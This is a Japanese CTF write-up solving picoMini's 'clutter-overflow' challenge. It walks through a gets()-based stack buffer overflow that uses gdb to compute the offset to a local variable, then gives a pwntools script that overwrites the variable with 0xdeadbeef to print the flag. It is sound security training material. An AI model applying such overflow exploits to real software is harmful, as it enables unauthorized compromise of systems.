ローカル変数の書き換え

picoMini by redpwnの「clutter-overflow」。ローカル変数の書き換えをしてif文の判定をTrueにしフラグを出力。

基礎的な問題だが、ローカル変数の書き換え、スタックの様子など良い復習になった。

プログラムの概要

checksec

shoebill@pwner:~/pico$ checksec ./chall
[*] '/home/shoebill/pico/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

「NX enabled」より、テキスト領域でないデータ領域に置かれたコードが実行できない。

しかしソースコードを見ればわかるように、こちらがシェルを起動する必要はなく、system(cat flag.txt)でフラグを出力するようになっている。

ソースコード

”pwn問でお馴染みの”gets関数があることに気付く(一部省略):

...
#define SIZE 0x100
#define GOAL 0xdeadbeef

int main(void)
{
  long code = 0;
  char clutter[SIZE];

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("My room is so cluttered...");
  puts("What do you see?");

  gets(clutter);

  if (code == GOAL) {
    printf("code == 0x%llx: how did that happen??\n", GOAL);
    puts("take a flag for your troubles");
    system("cat flag.txt");
  } else {
    printf("code == 0x%llx\n", code);
    printf("code != 0x%llx :(\n", GOAL);
  }
...

戦略

if (code == GOAL)をTrueにすればよい

👇

そのためには0で初期化されているローカル変数code0xdeadbeefに書き換えればよい

👇

gets(clutter)の部分でbofして変数code0xdeadbeefを書きこむ

デバッグしてアドレスやオフセットを求める

codeのアドレス

まずmain関数をディスアセンブルすれば、code変数の位置はrbp-0x8とわかる:
(ローカル変数はrbpレジスタからの変位で表される)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x00000000004006c7 <+0>:   push   rbp
   0x00000000004006c8 <+1>:   mov    rbp,rsp
   0x00000000004006cb <+4>:   sub    rsp,0x110
   0x00000000004006d2 <+11>:  mov    QWORD PTR [rbp-0x8],0x0  # 👈 この0で初期化してる部分
   0x00000000004006da <+19>:  mov    rax,QWORD PTR [rip+0x20197f]
   0x00000000004006e1 <+26>:  mov    esi,0x0
   0x00000000004006e6 <+31>:  mov    rdi,rax
   0x00000000004006e9 <+34>:  call   0x4005a0 <setbuf@plt>
...

スタックのイメージ:

     +-----------------------------+
     |                             |
-0x8 |           code              |
     |                             |
     +-----------------------------+
     |                             |
     |         saved rbp           |
     |                             |
     +-----------------------------+
     |                             |
     |          retaddr            |
+0x8 |                             |
     +-----------------------------+

clutterのアドレス

gets(clutter);の位置にブレイクポイントを打って、その時のrdiレジスタを見ればよい:

gdb-peda$ b *main+133
gdb-peda$ r 
...
[-------------------------------------code-------------------------------------]
   0x40073d <main+118>:   lea    rax,[rbp-0x110]
   0x400744 <main+125>:   mov    rdi,rax
   0x400747 <main+128>:   mov    eax,0x0
=> 0x40074c <main+133>:    call   0x4005d0 <gets@plt>
   0x400751 <main+138>:   mov    eax,0xdeadbeef
   0x400756 <main+143>:   cmp    QWORD PTR [rbp-0x8],rax
   0x40075a <main+147>:   jne    0x40078c <main+197>
   0x40075c <main+149>:   mov    esi,0xdeadbeef
Guessed arguments:
arg[0]: 0x7fffffffdc20 --> 0x8 
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdc20 --> 0x8 
0008| 0x7fffffffdc28 --> 0x40 ('@')
0016| 0x7fffffffdc30 --> 0x40 ('@')
0024| 0x7fffffffdc38 --> 0x10 
0032| 0x7fffffffdc40 --> 0x0 
0040| 0x7fffffffdc48 --> 0x1ffffefcf 
0048| 0x7fffffffdc50 --> 0x0 
0056| 0x7fffffffdc58 --> 0x8e00000006 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040074c in main ()
gdb-peda$ i r rdi
rdi            0x7fffffffdc20      0x7fffffffdc20

rbpからの変位を求める:

gdb-peda$ i r rbp
rbp            0x7fffffffdd30      0x7fffffffdd30
gdb-peda$ p 0x7fffffffdd30-0x7fffffffdc20
$1 = 0x110

rbp-0x8code変数がいたことに注意して)clutterからcodeまでのオフセットを求める:

gdb-peda$ p 0x110-0x08
$2 = 0x108

スタックのイメージ:

       +-----------------------------+
       |                             |
       |                             |
-0x110 |          clutter            |
       |                             |
       |                             |
       +-----------------------------+
       |                             |
  -0x8 |           code              |
       |                             |
       +-----------------------------+
       |                             |
       |         saved rbp           |
       |                             |
       +-----------------------------+
       |                             |
       |          retaddr            |
  +0x8 |                             |
       +-----------------------------+

あ、clutterのサイズは#define SIZE 0x100って定義されてたな。

exploit

clutterを0x108バイト分適当な文字で埋めて、その後にcodeがあるからそこに0xdeadbeefを書き込む(リトルエンディアンで与える)。

#!/usr/bin/env python3
from pwn import *

bin_file = './chall'
context.binary = bin_file

def attack(conn, **kwargs):
    payload = b'a' * 0x108
    payload += p64(0xdeadbeef)
    conn.sendlineafter(b'What do you see?\n', payload)

def main():
    conn = process(bin_file)
    attack(conn)
    conn.interactive()

if __name__ == '__main__':
    main()

実行結果:

shoebill@pwner:~/pico$ ./exploit.py 
[+] Starting local process './chall': pid 7612
[*] Switching to interactive mode
[*] Process './chall' stopped with exit code 0 (pid 7612)
code == 0xdeadbeef: how did that happen??
take a flag for your troubles
picoCTF{test_flag}
[*] Got EOF while reading in interactive
$